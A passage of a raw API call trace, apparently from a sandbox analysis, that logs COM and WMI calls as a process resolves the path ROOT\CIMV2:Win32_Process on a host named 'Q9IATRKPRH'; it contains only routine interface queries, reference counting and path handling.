[7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bf3b1c0) returned 0x0 [0085.666] WbemDefPath:IUnknown:Release (This=0x1bef8200) returned 0x0 [0085.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bf3b1c0) returned 0x0 [0085.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0085.667] WbemDefPath:IUnknown:AddRef (This=0x1bf3b1c0) returned 0x3 [0085.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0085.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0085.668] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bef8220) returned 0x0 [0085.668] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8220, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0085.668] WbemDefPath:IUnknown:Release (This=0x1bef8220) returned 0x3 [0085.668] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0085.668] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0085.668] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0085.668] WbemDefPath:IUnknown:Release (This=0x1bf3b1c0) returned 0x2 [0085.668] WbemDefPath:IUnknown:Release (This=0x1bf3b1c0) returned 0x1 [0085.668] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0085.669] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0085.669] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf3b1c0) returned 0x0 [0085.669] WbemDefPath:IUnknown:AddRef (This=0x1bf3b1c0) returned 0x3 [0085.669] WbemDefPath:IUnknown:Release (This=0x1bf3b1c0) returned 0x2 [0085.669] WbemDefPath:IWbemPath:SetText (This=0x1bf3b1c0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0085.669] IWbemClassObject:Get (in: This=0x1bef3ce0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0085.669] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0085.670] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0085.670] IWbemClassObject:Get (in: This=0x1bef3ce0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0085.670] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0085.670] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0085.671] IWbemClassObject:Get (in: This=0x1bef3ce0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0085.671] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0085.671] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0085.671] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0085.671] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0085.671] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0085.672] IUnknown:Release (This=0x111f638) returned 0x1 [0085.674] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bef8120) returned 0x0 [0085.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8120, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0085.675] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8120, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3b040) returned 0x0 [0085.675] WbemDefPath:IUnknown:Release (This=0x1bef8120) returned 0x0 [0085.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3b040) returned 0x0 [0085.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0085.676] WbemDefPath:IUnknown:AddRef (This=0x1bf3b040) returned 0x3 [0085.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0085.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0085.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bef8380) returned 0x0 [0085.676] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8380, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0085.676] WbemDefPath:IUnknown:Release (This=0x1bef8380) returned 0x3 [0085.676] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0085.677] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0085.677] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0085.677] WbemDefPath:IUnknown:Release (This=0x1bf3b040) returned 0x2 [0085.677] WbemDefPath:IUnknown:Release (This=0x1bf3b040) returned 0x1 [0085.677] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0085.677] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0085.677] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3b040) returned 0x0 [0085.677] WbemDefPath:IUnknown:AddRef (This=0x1bf3b040) returned 0x3 [0085.677] WbemDefPath:IUnknown:Release (This=0x1bf3b040) returned 0x2 [0085.678] WbemDefPath:IWbemPath:SetText (This=0x1bf3b040, uMode=0x4, pszPath="") returned 0x0 [0085.678] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0085.678] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0085.678] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0085.678] IUnknown:Release (This=0x111f638) returned 0x1 [0085.681] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bef8120) returned 0x0 [0085.681] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8120, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0085.681] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8120, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3b100) returned 0x0 [0085.682] WbemDefPath:IUnknown:Release (This=0x1bef8120) returned 0x0 [0085.682] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b100, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3b100) returned 0x0 [0085.682] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b100, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0085.682] WbemDefPath:IUnknown:AddRef (This=0x1bf3b100) returned 0x3 [0085.682] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b100, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0085.682] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b100, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0085.683] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b100, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bef82c0) returned 0x0 [0085.683] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef82c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0085.683] WbemDefPath:IUnknown:Release (This=0x1bef82c0) returned 0x3 [0085.683] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0085.683] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0085.683] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b100, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0085.684] WbemDefPath:IUnknown:Release (This=0x1bf3b100) returned 0x2 [0085.684] WbemDefPath:IUnknown:Release (This=0x1bf3b100) returned 0x1 [0085.684] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0085.684] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0085.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b100, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3b100) returned 0x0 [0085.684] WbemDefPath:IUnknown:AddRef (This=0x1bf3b100) returned 0x3 [0085.684] WbemDefPath:IUnknown:Release (This=0x1bf3b100) returned 0x2 [0085.684] WbemDefPath:IWbemPath:SetText (This=0x1bf3b100, uMode=0x4, pszPath="") returned 0x0 [0085.684] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b100, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0085.684] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b040, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0085.684] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3b100, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0085.684] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b100, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0085.684] WbemDefPath:IWbemPath:SetServer (This=0x1bf3b100, Name="Q9IATRKPRH") returned 0x0 [0085.684] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0085.684] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0085.685] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0085.685] IUnknown:Release (This=0x111f638) returned 0x1 [0085.688] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bef83c0) returned 0x0 [0085.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef83c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0085.688] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef83c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3af80) returned 0x0 [0085.688] WbemDefPath:IUnknown:Release (This=0x1bef83c0) returned 0x0 [0085.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3af80) returned 0x0 [0085.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0085.689] WbemDefPath:IUnknown:AddRef (This=0x1bf3af80) returned 0x3 [0085.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0085.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0085.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bef8340) returned 0x0 [0085.689] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8340, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0085.689] WbemDefPath:IUnknown:Release (This=0x1bef8340) returned 0x3 [0085.689] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0085.689] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0085.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0085.690] WbemDefPath:IUnknown:Release (This=0x1bf3af80) returned 0x2 [0085.690] WbemDefPath:IUnknown:Release (This=0x1bf3af80) returned 0x1 [0085.690] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0085.690] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0085.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3af80) returned 0x0 [0085.690] WbemDefPath:IUnknown:AddRef (This=0x1bf3af80) returned 0x3 [0085.690] WbemDefPath:IUnknown:Release (This=0x1bf3af80) returned 0x2 [0085.690] WbemDefPath:IWbemPath:SetText (This=0x1bf3af80, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0085.690] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b100, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0085.690] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3af80, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0085.690] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3af80, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0085.690] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3af80, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0085.690] 